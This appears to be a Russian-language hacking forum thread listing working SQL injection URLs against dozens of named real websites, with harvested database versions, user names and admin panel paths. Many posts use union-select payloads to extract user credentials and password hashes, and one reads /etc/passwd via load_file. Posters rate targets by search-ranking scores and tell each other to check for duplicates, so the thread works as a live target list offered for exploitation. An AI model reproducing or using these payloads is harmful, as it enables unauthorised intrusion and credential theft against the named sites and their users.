Code: http://www.fcdinamokirov.ru/2010/news10.php?seldate_down=20110101+union+select+1,2,3,concat_ws(char(58),version(),user(),database(),@@version_compile_os),5,6,7+--+ Version: 5.0.70-log User: [email protected] Database: gb_dinamo Os: pc-linux-gnu тИЦ — 150 PR — 3
Официальный сайт Хоккейного Клуба Кристалл (Саратов) http://www.kristall-saratov.ru/news.php?id=-1444+and+1=2+union+select+1,2,3,4,concat_ws(char(58),@@version,user(),database(),@@version_compile_os)+-- version : 4.1.25-log user : kristal4_kristal@localhost database : kristal4_kristall os : portbld-freebsd6.3 http://www.kristall-saratov.ru/news.php?id=-1444+and+1=2+union+select+1,2,3,4,concat_ws(char(58),name,pass)+from+users+limit+0,1--
http://www.zima-samara.ru/company.php?id_s=80+union+select+1,2,3-- /admin login:admin moder//пароли и хеши не выкладываем Server = Apache Version = 5.0.90-log Powered by = Attack Type = SQL Union Injection Current User = [email protected] Current Database = u166318 Supports Union = yes Union Columns = 3
Code: http://www.willisbrazolot.com/profiles.php?staff_id=%271 UNION ALL SELECT 1,2,%String_Col%,4,5,6,7,8-- Host IP: 69.156.240.29 Web Server: Apache Powered-by: PHP/5.2.12 DB Server: MySQL unknown ver Current DB: main_willisbrazolot_com Code: http://www.robinhoodtech.com/rht/team?staff_id=%2714 AND %True_Expression% Host IP: 208.90.98.3 Web Server: Apache/2.2.3 (Red Hat) Powered-by: PHP/5.1.6 DB Server: MySQL Code: http://www.indyjuniors.com/staffDetail.php?staff_id=%2729&staff_name=%27Nick%20Wolf AND %True_Expression% Host IP: 209.43.117.213 Web Server: Apache/1.3.27 (Unix) (Red-Hat/Linux) DAV/1.0.3 PHP/4.3.10 Powered-by: PHP/4.3.10 DB Server: MySQL Code: http://www.slicedgaming.com/blogs.php?staff_id=%275 UNION ALL SELECT 1,%String_Col%,3,4,5-- Host IP: 67.205.52.74 Web Server: Apache Powered-by: PHP/5.2.13 DB Server: MySQL Current DB: slicedgaming
http://recerca.upf.edu/taln/people_detail.php?pid=19+union+select+1,2,3,version(),5,6,7 ---- http://www.ieb.ub.edu/web/miniweb.php?idMenuMiniWeb=77&Id=-535+union+select+1,2,version(),4,5,6&Titulo=%3EII%20Summer%20School%20in%20Public%20Economics (сайт уже был, нo другой поддомен )
Специально для ньюсмейкеров :-D Тому кто найдет LFI SQL inj в подарок !!! http://www.ura.ru/blog/inside.php?id=-69'+union+select+1,2,version(),4,5+--+ @@version = 5.0.32-Debian_7etch8-log http://www.ura.ru/admin/ -- админка http://www.ura.ru/blog/inside.php?id=-69'+union+select+1,2,load_file('/etc/passwd'),4,5+from+mysql.user+--+ --- http://demotivation.ru/slideshow.php?id=ejsw2f6mcbrz&v=cool&dt=1279328398+and+1=0+union+select+version()+--+
Code: http://shop.dnbw.kr/goods_detail.php?goodsIdx=-289+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7-- 5.0.27-standard-log:shop:shop@localhost http://shop.dnbw.kr/admin/ пасс в открытом виде лежит..
http://www.islandsanctuary.com.mt/main.php?mid=20&lid=-160+union+select+1,2,3,4,5,concat_ws(concat(char(32),char(58),char(32)),user(),version(),database(),@@version_compile_os,@@datadir,@@tmpdir,@@basedir),7,8,9,10,11,12 ----- http://www.babyline.com.mt/product-details.php?id=-310+union+select+1,2,concat_ws(concat(char(32),char(58),char(32)),user(),version(),database(),@@version_compile_os,@@datadir,@@tmpdir,@@basedir),4,5,6,7,8,9 ------ шоп http://www.digitalzone.com.mt/main.php?page=prodlist&catId=-92+union+select+1,concat(user(),char(58),version(),char(58),database(),char(58),@@version_compile_os),3,4 ----- http://www.micc.org.mt/news.php?type=2&id=146+and+1=0+union+select+1,2,3,4,5,6--
kislovodsk.org городской интернет-портал http://www.kislovodsk.org/kurort/?id=-31+and+1=2+union+select+1,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),3,4,5,6,7,8-- version : 5.0.26-log user : idmcru@localhost database : idmcru os : pc-linux-gnu
5.0.45-community-nt Code: http://www.smmad.ma/annuaire/index.php?page=8&id_cat=-173+union+select+1,2,version(),4,5,6,7,8,9%20--+ blind,version=4 Code: http://coa.counciloftheamericas.org/group.php?id=10+and+SUBSTRING%28@@version,1,1%29=4 Code: http://www.as-coa.org/group.php?id=22+AND+SUBSTRING%28@@version,1,1%29=4
4.1.24-MAX-LOG[email protected]RONVUS _http://pronv.us/catalog.php?id_cat=-14+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10--&sm=14 PR 1 --- 4.1.22-standard-log:[email protected]:356371_artlounge _http://artlounge.net/ea_inside.php?id_cat=-7+union+select+1,concat_ws(0x3a,version(),user(),database()),3--&id_item=64 PR 3 Moder : используй кнопку edit
http://www.postbranding.ru/book.php?id=-3+union+select+1,2,concat_ws(0x3a,version(),@@version_compile_os,user()) ,4,5,6 -- ТИЦ-10 PR-3 http://www.law.kuleuven.be/icri/people.php?id=-127+union+select+1,group_concat%28table_name%29,3,4,5,8,10,1,2+from+information_schema.tables%20-- ТИЦ-325 PR-8 http://www.mediagroup.com.ua/promo.php?id=-65+union+select+1,concat_ws%280x3a,email,pwd%29,3,4+from+partners -- ТИЦ-50 PR-3 http://redcarpet.daylife.com/people.php?id=-204000000000186367+union+select+1,2 -- ТИЦ-325 PR-7 Боян PR-4 http://cathedralhillpress.com/book.php?id=-4+union+select+1,2,3,4,5 -- PR-3 http://www.icss.ac.ru/books/book.php?id=-47+union+select+1,2,3,4,5,6,7,8,9 -- ТИЦ-375 PR-5 Боян PR-6 Konqi : провер антибоян-oм прежде чем постить.
сегодня почитал книгу о sql и решил попробовать на деле... Code: http://www.ccfrussia.ru/index.php?mod=n_article&n_id=304 +union+select 1,2,3,4,%String_Col%,6,7,8,9-- тИЦ — 80 PR — 5 Host IP: 88.198.48.135 Web Server: Apache/2.2.13 (Fedora) Powered-by: PHP/5.2.9 DB Server: MySQL >=5 Current DB: cc
шоп http://bb.rusbic.ru/?tc=16001&sp=0805&ii=3276+and+1=0+union+select+1,null,null,null,cast(version() as int),null,null,null,null,null,null,null,null,null,null,null,null,null,null http://bb.rusbic.ru/?tc=16001&sp=0805&ii=3276+and+1=0+union+select+1,null,null,null,passwd::int,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+pg_user version() : PostgreSQL 8.3.9 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
www.aa.org.lv Code: http://www.aa.org.lv/news.php?id=-426+union+select+concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user()),2,3,4,5+--+ Version: 4.1.14 User: aaorg@localhost Database: aaorg OS: pc-linux-gnu Users: Code: http://www.aa.org.lv/news.php?id=-426+union+select+concat(login,0x3a,passwd),2,3,4,5+from+users+limit+0,1+--+ MD5(Unix)
Code: http://www.rdclab.co.za/product.php?id=-1+union+select+1,2,concat_ws(char(58),version(),user(),database(),@@version_compile_os),4,5+--+ Version: 5.0.51a-24+lenny4 User: [email protected] Database: rdclab Os: debian-linux-gnu тИЦ — 10 PR — 2
http://www.longlines.com/wireless/phones/phone.php?id=-15+union+select+1,2,group_concat%28table_name%29,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+information_schema.tables%20-- ТИЦ-10 PR-4
http://www.collectivelens.com/profile.php?id=-221+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13-- 4-й мускул, но присутствует форум phpbb со стандартными таблицами. На форуме 1к юзеров.
Marine Geoscience Data System http://www.marine-geo.org/tools/search/download.php?data_uid=267393+union+select+version(),null&client=DataLink version() : PostgreSQL 8.2.15 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46) user : anonymous current_database() : mgds //работаем с information_schema http://www.marine-geo.org/tools/search/download.php?data_uid=267393;select+null,null+from+information_schema.tables;&client=DataLink //узнаем имена доступных баз (postgres, usap-drupal...) http://www.marine-geo.org/tools/search/download.php?data_uid=267393;select+datname,null+from+pg_database+limit+1+offset+1;&client=DataLink PR-6
trikota.r52.ru тиц 10 Code: http://trikota.r52.ru/catalog?action=manufact&manufact=-9+union+select+1,user(),3,4,5,6,7,8,9+--+ menu-asz.hu Code: http://menu-asz.hu/main/place.php?action=pizza&placeid=113&accatid=-859+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables+--+ spartak.by пр4 тиц250 Code: http://www.spartak.by/ru/press/news/-77+union+select+1,2,3,4+--+/ grief.lealta.ru Code: http://grief.lealta.ru/index.php?module=News&do=View&nid=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+--+ fuko.ru пр3 тиц10 Code: http://www.fuko.ru/show_cat2.php?grid=-5778'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+--+ mial.fas.sfu.ca пр5 Code: http://mial.fas.sfu.ca/newsItem.php?id=-749+union+select+1,concat_ws(0x3a3a,MemberID,FirstName,LastName,Username,Email,Password,SuperUser,HomePageURL),3,4,5,6,7,8+from+Personal+where+SuperUser=1+limit+1,1+--+ surreyfoundation.org пр4 тиц10 Code: http://www.surreyfoundation.org/showpage.php?id=115+uNIon+sELEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+--+ okonremont.ru пр3 тиц80 Code: http://www.okonremont.ru/page.php?pid=-2'+union+select+1,2,user(),4,5+--+ easy-sun.ru пр2 тиц10 Code: http://easy-sun.ru/show_cart2.php?&new=-5166'+uNIon+sELEct+1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17+--+&k=1 ortomed.ru пр2 Code: http://ortomed.ru/osnov.php?idstat=-51'+union+select+user()+--+&idcatstat=17' samara.pdamarket.ru пр1 Code: http://samara.pdamarket.ru/show_cat2.php?grid=-65+union+select+user()+from+admin+--+ shop-cctv.ru пр1 тиц10 Code: http://shop-cctv.ru/osnov.php?idstat=-59'+union+select+user()+--+&idcatstat=22 lvfo.org пр5 Code: http://www.lvfo.org/index.php?option=com_calendar&show=detail&agid=6'+union+select+1,2,3,4,5+--+ hobby.rin.ru пр3 тиц120 Code: http://hobby.rin.ru/cgi-bin/print.pl?id=29'+union+select+user+from+mysql.user+--+ daily-calcio.com пр3 тиц10 Code: http://www.daily-calcio.com/index.php?option=news&task=viewarticle&sid=-27855+uNIon+sELEct+1,2,concat_ws(0x3a3a,username,password),4,5,6,7,8,9+from+users+limit+5,1+--+ rcmedia.town-local.net пр2 Code: http://rcmedia.town-local.net/software/index.php?option=com_downloads&Itemid=50&func=download&filecatid=-19+union+select+concat_ws(0x3a3a,UseRNamE,password)+from+mos_users+--+ optishop.ru Code: http://optishop.ru/group.php?id=-57+uNIoN+sELecT+user(),2,3+--+